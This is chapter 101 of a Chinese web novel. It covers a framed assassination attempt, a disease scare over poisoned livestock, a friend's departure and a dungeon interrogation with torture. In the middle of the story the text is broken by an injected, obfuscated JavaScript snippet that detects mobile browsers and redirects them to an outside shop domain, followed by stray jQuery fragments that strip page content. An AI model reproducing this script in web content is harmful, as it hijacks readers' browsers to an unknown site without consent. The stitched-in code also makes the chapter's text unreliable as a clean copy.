101. 第 101 章
    事情的发展已经出乎了楚鹚的预料,她盯一眼楚辞,又暗自睃一眼奢华拢纱的大轿,心渐渐沉了下去。

    按照细作传信中描述的楚家牧场主,生性散漫,哪怕有人冒名顶替,应对不该如此尖锐刚直,还招来了更麻烦的人物。

    幸亏她对各种情况早有准备,遣人去寻衙役的时候,也故意散了几人出去,不至于全数接被困在这里。

    楚鹚沉稳道:“请江州王容禀,一应证物具在,对方冒我牧场之名,毁我牧场货物,着实可恶,理应惩处!”

    侍从将牧场与滁州军的货契呈上,由小侍递入帐中,模模糊糊只能见那道金尊玉贵的人影漫不尽心的翻了翻,久久不语。

    就在大家以为此事都要有定论时,“楚家牧场”商队之中有一人亮出锋利雪刃,趁着众人反应不及,直直向大轿帐中刺去!

    衙门内外一片惊呼,侍卫最先反应过来,长剑一抵,和刺客两相对战。

    剩下的衙役纷纷抽刀,架在“牧场”众人脖颈上。

    楚鹚同样瞠目结舌,她方才比的手势明明是让大家按兵不动!她硬生生忍住反抗的本能,连声道冤枉!

    那刺客倒是轻功卓绝,行刺不成转身就逃,徒留楚鹚一行有苦难言,她佯作不屈,坚持道:“王爷明鉴,我们是冤枉的!那个刺客不是我们的人!!!”

    “胆大包天,敢行刺王爷?!”县衙冷呵一声,这才是人证物证具在:“你牧场一行入城多少人,城民看的清清楚楚,如今具在这里,一个也不少,还想抵赖!”

    楚鹚心已经往下沉,余光一扫,方才被楚辞牵制了所有注意力,这才意识到哪里不对劲,她偷遣了人出去,可现场人数却一个也不缺,有人混进来!

    当面行刺的重罪可比冒充牧场要严重多了,门前的城民连声惊呼,没想到今天这事情居然还有反转,不仅可能是假货,居然还是刺客!

    天杀的狗东西!城民们撕了她们的心都有了,哪里有人肯信楚鹚喊冤的话。

    唯有楚辞沉声道:“别慌,我知道你是冤枉的。”

    这话叫被侍卫反手压制叩跪在地的楚鹚一愣,诧异的看着她。

    楚辞露出笑容,颇有些俏皮,声音不大不小,仅仅她们两人听到:“毕竟是我栽赃你的嘛。”

    追逐刺客的侍卫很快便抓到目标,回来复命,楚鹚定睛往他们扣住的人看去,正是被她暗自遣出之人!

    他们早有准备,李代桃僵!

    这下“楚家牧场”所有人是真的齐齐整整都在这里了。

    祸不单行,负责留守酒楼的衙役前来报信,他们在“楚家牧场”的货箱中发现了外疆部族的徽记!

    楚鹚的脸色阴沉下来,一双眼睛像浸满毒汁的冷冷望向楚辞。

    她很确信自己绝对没有带任何可疑之物出行。

    诸多城民亲眼见证,口口相传,江州王公堂遇刺的消息像长了翅膀一样在州城中传播开来,引起轩然大波。

    既然对方都是刺客了,那身份自然也是假的,楚辞证明了自己楚家牧场主的身份,又当街拖出“冒名假货”的禽货,宰杀喂狗。

    所有路人皆亲眼目睹那只吃了肉的狗才喘气不过几息,口吐鲜血当场暴毙!

    有毒!还是剧毒!

    尤其是当日沿街路段所有在场之人,不论是摊贩、衙役还是城民路人,皆应府衙要求以消杀液体净洗,焚烧衣物,官府的严厉态度更让人嗅道不详气息。

    楚辞神色忧愁,对外道假牧场目前还有一批禽货不知去向,一时间“毒物”之名甚嚣尘上,人人自危。酒楼食肆中点菜的人都少了,哪怕是下馆子,大多点的也是素菜,少有荤腥。

    听说这个毒可是能传染的,哪怕城民自己养着鸡禽鸭畜,也觉提心吊胆。

    整个州城都进入了一段“茹素”时期。

    日夜有官府之人街道洒扫,铺以石灰。

    小院中暖日融融,庭院溪岸旁三排躺椅。

    楚辞坐中间,左边是牧野瑰,右侧是东方肴。

    牧野瑰好奇道:“这毒真的有这么厉害?”

    楚辞也没必要糊弄他,这种病毒有几分类似于后世的人畜炭疽,略有些不同,按照症状来说,应该是出现皮肤黑斑和局部坏死溃烂,当然不是见血封喉,效果还没有这么快。

    病毒的传播、感染和显现需要一定时间,可真等到大面积扩散,症状出现,就晚了!

    人畜共患的麻烦就在于人和禽畜可以相互感染,防治极为困难,它对于牲禽的杀伤力实际上更大,死亡率更高,幸亏是掐死在源头。

    从前不太重视牧场防疫,也是楚辞自信牧场动物经过系统优化调制,长期食用蛋白桑,抗病能力比之寻常要强出不少,可此事以后,进入牧场也多了几道工序,独设净房,给少年们进出更洗。

    牧场每日往外飞的鸽子都忙了起来,时常陆长赢眉头紧缩,房间灯火半夜不熄。

    听楚辞细细诉说此疫的危险,牧野瑰不由得神色凝重,不似平日风流含笑模样,月然野牧之地绵延千里,如果这等疫疾在月然传播,后果不堪设想!

    他感同身受,腾升出浓厚的危机感,也顾不得和楚辞调笑,正色问道:“可否誊抄一份消杀方子?”

    楚辞随口应付:“抄抄抄。”

    反正草药和配比都是白羊弄出来的,它没有人权,也不必问。

    牧野瑰唇角微勾,深邃的眼睛弯如圆月,坐直身,正视楚辞:“我该走了。”

    东方肴本来躺在另一边昏昏欲睡,听到关键词,顿时醒神,默默地听她两人谈话。

    楚辞侧过身,转向牧野瑰,闻言叹惋:“不多留几天吗,好可惜,真的很舍不得你。”

    牧野瑰含笑道:“那跟我一起走吧。月然溪水如碧,草原广阔,你会喜欢的。”

    这个还是算了吧,楚辞眨眨眼,坚定道:“一路顺风!我会想你的!”

    牧野瑰顿时朗笑出声,伸展双臂,倾身上前,爽朗的将楚辞抱入怀中。

    这个不含一丝狎昵的拥抱,温柔与强势并存,对方强健肌体上的热度透过衣衫传了过来,有种不被束缚的狂野。

    楚辞这才感受到对方外疆血统塑造的高大体格,之前每一次与她对话时,他总会下意识倾身,让她很少感受到体型差异带来的极强压迫感。

    按照这个身高,她的脸正抵在牧野瑰肆意敞开的胸……

    楚辞略显狼狈的扭过头:“可以了,你的热情我感受到了。”

    牧野瑰哈哈大笑:“明明就很喜欢,为什么不摸摸看。”

    东方肴伸手挡住眼睛,从手指漏出的缝隙中看两人动静,一边无声的啧啧摇头。

    没眼看啊没眼看。

    牧野瑰走后,他徐徐展开纸扇,轻轻摇晃,神色戏谑:“你可要好好想想,此事怎么封我的口。”

    小染从庭院旁的树冠顶部一跃而下,坐到牧野瑰之前的位置上,不解问道:

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14037782|148013||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    “封什么口?”

    她在树上呆了好一会儿,没看懂东方肴为什么要封口。

    楚辞先对东方肴微微一笑:“第一,我是自由的,爱做什么做什么,谁也不能拘住我。”

    “第二,”她笑容逐渐阴森:“你可以试试看,是我会倒霉,还是你比较惨。”

    在强权压制下,东方肴老实噤声,望着她一言不发。

    楚辞转头又问小染:“这个时辰你应该在学堂,怎么回来了?”

    小染沉着道:“东方叔叔说的有道理,现在风波未平,万一还有歹人心怀报复,想取你狗命怎么办,这几天我先不去学堂了,跟着你。”

    楚辞的目光缓缓挪向东方肴:“这是你的原话?真是……谢谢关心呐。”

    东方肴在她危险恐怖的凝视中,身形越发佝偻,虚弱道:“是哥哥,不是叔叔!”

    老二端来果盘,看她们几人无聊叙闲话的模样,建议道:“东家若实在无事可做,不如去赌两把。”

    楚辞投去一个欣赏的目光,老二就是上道。

    可惜赌坊里鱼龙混杂,陆长赢和她约法三章,近日不得前去赌场,直到假牧场的事情扫尾完成。

    “那不如去江溪口钓鱼。”

    还真是,这两天都没钓鱼,一听人提起,楚辞就心痒痒。江溪口就在小院往外数百步,在那里大呼一声,庭院内都能听见。

    这个总不能拒绝吧。

    牧场主向她的车夫提出申请。

    很有主人派头的车夫凝望楚辞一眼,楚辞都已经一副有商有量的态度,他也该退一步,也直到如果真将她拘狠了,恐怕楚辞又得弄出一些幺蛾子来。

    陆长赢取出一枚宝石匕首,一边俯身系在楚辞腰间,一边道:“我出去一个时辰,你最远只能到江溪口,别乱跑。”

    楚辞垂头一看:“送我了?你什么时候买的?”

    陆长赢确认系绳紧固后,才直起身:“宁可信其有,不可信其无。”

    “啊?”楚辞有些莫名其妙,刁钻促狭的笑看他:“你什么时候信起这些神神叨叨的话了?”

    她摆弄一下匕首,还挺异域风的。

    见楚辞对匕首全无印象,对自己的批命也毫不在意,陆长赢沉默良久,恨声道:“你大概是没有心的!”

    除了那只猫,什么也不在意!

    他亲自盯着楚辞到江溪口,放下鱼竿,看模样她能在这儿耗上半天,确认隐藏在暗处的人手后,这才转身上车,去了江州大牢。

    阴森恐怖的地下牢狱中,哀叫声此起彼伏。

    早有人等候在门前,神色恭敬的引陆长赢入内。

    他的步履不疾不徐,穿过监狱长巷,停在一道血迹斑斑、气息微弱的人影前。

    那位女娘的肩胛骨被尖锐铁环深深穿透,像待宰的猪羊般吊在架前,伤口处又敷以特制药粉,让她在饱受剧痛折磨中不会流血过多而死。

    陆长赢居高临下的目光投向她,语气淡淡中透出冰冷而残忍的气息。

    “那份滁州城防图,怎么拿到的?”

    楚鹚艰难睁开肿胀发痛的眼睛,努力从剧痛中保持清醒,她费力的凝望陆长赢,反复确认:“车夫……阿赢……陆、陆长赢?”

    一瞬间,她仿佛忘却浑身痛楚,露出一个解脱的笑容:“幸不辱命。”

    与此同时,江溪口,楚辞悠闲的仰靠在躺椅上,享受小染的投喂,时不时甩杆勾起一条大鱼,惬意无比。